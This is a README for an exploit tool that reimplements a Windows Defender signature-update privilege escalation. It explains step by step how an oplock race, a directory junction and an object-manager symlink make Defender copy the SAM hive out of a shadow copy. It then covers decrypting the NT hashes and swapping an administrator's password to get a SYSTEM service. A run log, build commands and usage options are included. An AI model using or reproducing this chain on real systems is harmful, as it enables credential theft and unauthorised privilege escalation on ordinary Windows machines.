Windows Defender signature-update LPE — TOCTOU arbitrary file read as SYSTEM via Proc42_ServerMpUpdateEngineSignature. From-scratch reimplementation of Nightmare-Eclipse/BlueHammer.
The end-to-end chain is:
- Download a signature update from
go.microsoft.com/fwlink/?LinkID=121721&arch=x64, parse the PE.rsrc, and extract the embedded cabinet (mpasbase.vdm, etc.) into a per-run staging dir under%TEMP%. - Trigger Windows to create a Volume Shadow Copy. EICAR is dropped to
%TEMP%\<UUID>\foo.exewhile a batch oplock is held onC:\Windows\System32\RstrtMgr.dll. Defender's quarantine codepath loads RstrtMgr → trips the oplock → Defender's quarantine pipeline calls VSSVC, which creates a System Restore checkpoint as a side effect of remediation. The new shadow copy contains an unlocked copy of\Windows\System32\config\SAM. - (Optional) Freeze Defender via Cloud Files. A Cloud Files sync root with a callback that takes a second oplock when MsMpEng enumerates the placeholders. Currently disabled — the bare race wins without it.
- Race the Defender RPC. Batch oplock is taken on the staged
mpasbase.vdm.Proc42_ServerMpUpdateEngineSignatureis invoked over local RPC. When Defender opensmpasbase.vdm, the oplock fires; we rename the file out viaSetFileInformationByHandle, move the staging directory aside, junction the original path to\BaseNamedObjects\Restricted, and create an object-manager symlink\BaseNamedObjects\Restricted\mpasbase.vdm → \Device\HarddiskVolumeShadowCopyN\Windows\System32\config\SAM. The oplock is released only after the entire chain is in place. Defender's resumed open follows junction → object manager → snapshot SAM and copies the bytes into its ownDefinition Updates\<guid>\directory, which is user-readable. - Parse the leaked SAM hive with
offreg.dll. Boot key is extracted from the live SYSTEM hive class names and permuted. The SAM key is decrypted (RC4 rev 2 or AES rev 3), per-user NT hashes are decrypted (DES-ECB on the RID-keyed result), and usernames recovered from the V values. - Escalate.
NetUserSetInfoswaps a known admin's password to a temporary value,LogonUserW+CheckTokenMembershipconfirms admin, a service runs as SYSTEM, andSamSetInformationUserrestores the original hash so no credential modification is left behind.
The technique is fully documented in the upstream repo's IDL (windefend.idl) and the original PoC. The bug is a TOCTOU between Defender's path-validate and file-open phases on the staged update directory.
Microsoft periodically changes the compression type or cabinet layout in the
mpam-fe.exe update package. If you see:
[-] FDICopy (in-memory) failed or produced no files (op=4 type=0)
this means FDIERROR_BAD_COMPR_TYPE: the embedded cabinet uses a compression
variant that the FDI in-memory path can't handle. DiagnoseCAB() now runs
before extraction and logs the exact CFFOLDER.typeCompress value, so you can
confirm the type at a glance. A file-based FDI fallback (ExtractCabinetFileBased)
is invoked automatically — it writes the cabinet to %TEMP%, retries
FDICopy with real CreateFile I/O callbacks, loads results back into memory,
and cleans up the temp files. If the fallback also fails (new compression type
genuinely unsupported by cabinet.dll), the diagnostic output will make the
compression type visible for further investigation.
Tested on Azure Windows 11 Pro 25H2, OS build 26200.8037 (installed 2026-04-07), as a non-elevated user.
The full chain runs end-to-end — sample run:
[*] Initializing COM...
[*] Resolving NT APIs...
[16:07:24.313] [+] NT APIs resolved
[*] Stage 1: Download Defender Signature Update
[*] DownloadDefenderUpdate: entering
[+] InternetOpenW ok
[16:07:25.478] [+] Downloaded 210315680 bytes
[16:07:25.479] [+] Found cabinet at .rsrc+0x114, size 210010025 bytes
[16:07:25.605] [+] Extracted 17773248 bytes from cabinet
[16:07:25.630] [+] Staged update directory: C:\Users\ben\AppData\Local\Temp\BlueHammer_{B42368B8-3935-4EC4-9CC9-3122438764E9}
[16:07:25.634] [*] === Stage 2: Trigger VSS Snapshot ===
[16:07:25.635] [*] Found 0 existing VSS snapshots before trigger
[16:07:25.637] [+] EICAR dropped: C:\Users\ben\AppData\Local\Temp\{CB19567E-6B44-4A94-8C30-0C2972B57480}\foo.exe
[16:07:25.638] [+] Batch oplock set on RstrtMgr.dll
[16:07:25.648] [*] Trigger open issued — waiting for Defender quarantine → RstrtMgr load → oplock break
[16:07:38.723] [+] Oplock broken — Defender hit RstrtMgr.dll, VSS should now exist
[16:07:38.723] [+] New VSS snapshot detected: \Device\HarddiskVolumeShadowCopy{3e2ae170-328c-11f1-ad4d-70a8a505a312}
[16:07:38.723] [*] === Stage 3: Freeze Defender via Cloud Files ===
[16:07:38.723] [!] Stage 3 bypassed — running bare race against snapshot
[16:07:38.732] [*] === Stage 4: TOCTOU Race ===
[16:07:38.732] [+] Batch oplock set on mpasbase.vdm
[16:07:38.732] [*] Triggering Defender signature update RPC...
[16:07:38.732] [*] RPC binding established to Defender service
[16:07:38.732] [*] Waiting for oplock break on mpasbase.vdm...
[16:07:38.739] [+] Oplock broken — Defender opened mpasbase.vdm
[16:07:38.739] [+] Renamed mpasbase.vdm out -> ...BlueHammer_{...}.WDFOO
[16:07:38.744] [+] Renamed update dir -> ...BlueHammer_{...}_orig
[16:07:38.748] [+] Junction created: ...BlueHammer_{...} -> \BaseNamedObjects\Restricted
[16:07:38.752] [+] ObjMgr symlink: \BaseNamedObjects\Restricted\mpasbase.vdm -> \Device\HarddiskVolumeShadowCopy{...}\Windows\System32\config\SAM
[16:07:38.761] [+] Proc42 returned: 0x80070002 (out_status: 0x00000000)
[16:07:38.761] [+] Race primitives in place — Defender will follow junction chain
[16:07:38.763] [+] Leaked file found: C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{44402927-...}\mpasbase.vdm
[16:07:38.765] [*] === Stage 5: Dump Leaked File ===
[16:07:38.765] [+] Leaked file size: 134098360 bytes
[16:07:38.767] [*] === Cleanup ===
[16:07:38.769] [+] Cleanup complete
Stages 1-4 are working: signature download + cab extract, EICAR/RstrtMgr-driven VSS creation, RPC dispatch, file rename via the oplock-held handle, directory junction, object-manager symlink, oplock release in the correct order. Stage 5 currently picks up an existing Definition Updates\ subdirectory rather than the one Defender creates for this run — visible above as the 134 MB MZ file (real mpasbase.vdm from a prior install) instead of the ~50 KB regf SAM hive we want. Fix in progress: add a ReadDirectoryChangesW watcher on Definition Updates\ started before the RPC call so we capture the exact subdirectory belonging to the current run, and only set the mpasbase.vdm oplock after Defender's new directory appears (matching upstream's sequencing). SAM hive parsing itself (Stage 5 SAM branch) is verified against a manually-prepared snapshot.
mkdir build && cd build
cmake .. -G "Visual Studio 17 2022" -A x64
cmake --build . --config Releaseoffreg.lib is needed for SAM hive parsing — find it under C:\Program Files (x86)\Windows Kits\10\Lib\<version>\km\x64\offreg.lib (kernel-mode tree, not user-mode). The binary loads offreg.dll dynamically at runtime, so linking the import library is optional.
make -f Makefile.mingwProduces a fully static PE32+ x64 binary in the project root. All Windows-specific dependencies (cldapi.dll, offreg.dll, samlib.dll) are loaded dynamically at runtime — no import libraries required. The build uses a hand-rolled mingw/cfapi.h for the Cloud Files API declarations since mingw-w64 doesn't ship cfapi.h.
Pre-generated stubs live in rpc/windefend_h.h and rpc/windefend_c.c. They expose only Proc42_ServerMpUpdateEngineSignature with the four-argument signature from the IDL: (handle_t, long, wchar_t*, error_status_t*). To regenerate from the IDL with the Windows SDK MIDL compiler:
cd rpc
midl.exe /win64 /robust /error allocation /error bounds_check windefend.idlBlueHammer.exe [options]
Options:
--target <file> NT-relative path to read (default: \Windows\Panther\unattend.xml)
Pass \Windows\System32\config\SAM with a snapshot for hashes.
--dump-only Run Stages 1-5 only — leak the file, don't escalate.
--help Show help.
| File | Responsibility |
|---|---|
src/update.cpp |
Download from Microsoft, walk PE .rsrc, FDI cabinet extraction (in-memory with file-based fallback) |
src/vss.cpp |
EICAR (XOR-obfuscated to avoid self-detection), RstrtMgr.dll oplock, VSS enumeration via NtQueryDirectoryObject |
src/cloudfiles.cpp |
CfRegisterSyncRoot / CfConnectSyncRoot with placeholder callback that PID-matches MsMpEng and takes a freeze oplock |
src/race.cpp |
Mount-point reparse buffer, object-manager symlink, batch oplock break thread, Proc42 RPC trigger |
src/sam.cpp |
Offline hive open via offreg.dll, boot key extraction + permutation, SAM key decrypt, NT hash decrypt |
src/escalate.cpp |
Temporary password swap, admin verification, SYSTEM service launch, hash restore |
src/main.cpp |
Stage orchestration with cleanup handler |
rpc/windefend.idl |
Defender RPC interface (UUID c503f532-443a-4c69-8300-ccd1fbdb3839, v2.0) |
- Only network call:
https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64(legitimate Microsoft Defender update URL). - No data exfiltration — all output goes to stdout.
- No persistence mechanisms.
- The escalation service is deleted immediately after use.
- Original NT hashes are restored after escalation, so the target user is left in its pre-run state.
- EICAR is the standard 68-byte test string (1996, EICAR consortium) — non-functional, non-malicious, designed for AV testing.
Original technique and PoC: Nightmare-Eclipse/BlueHammer.

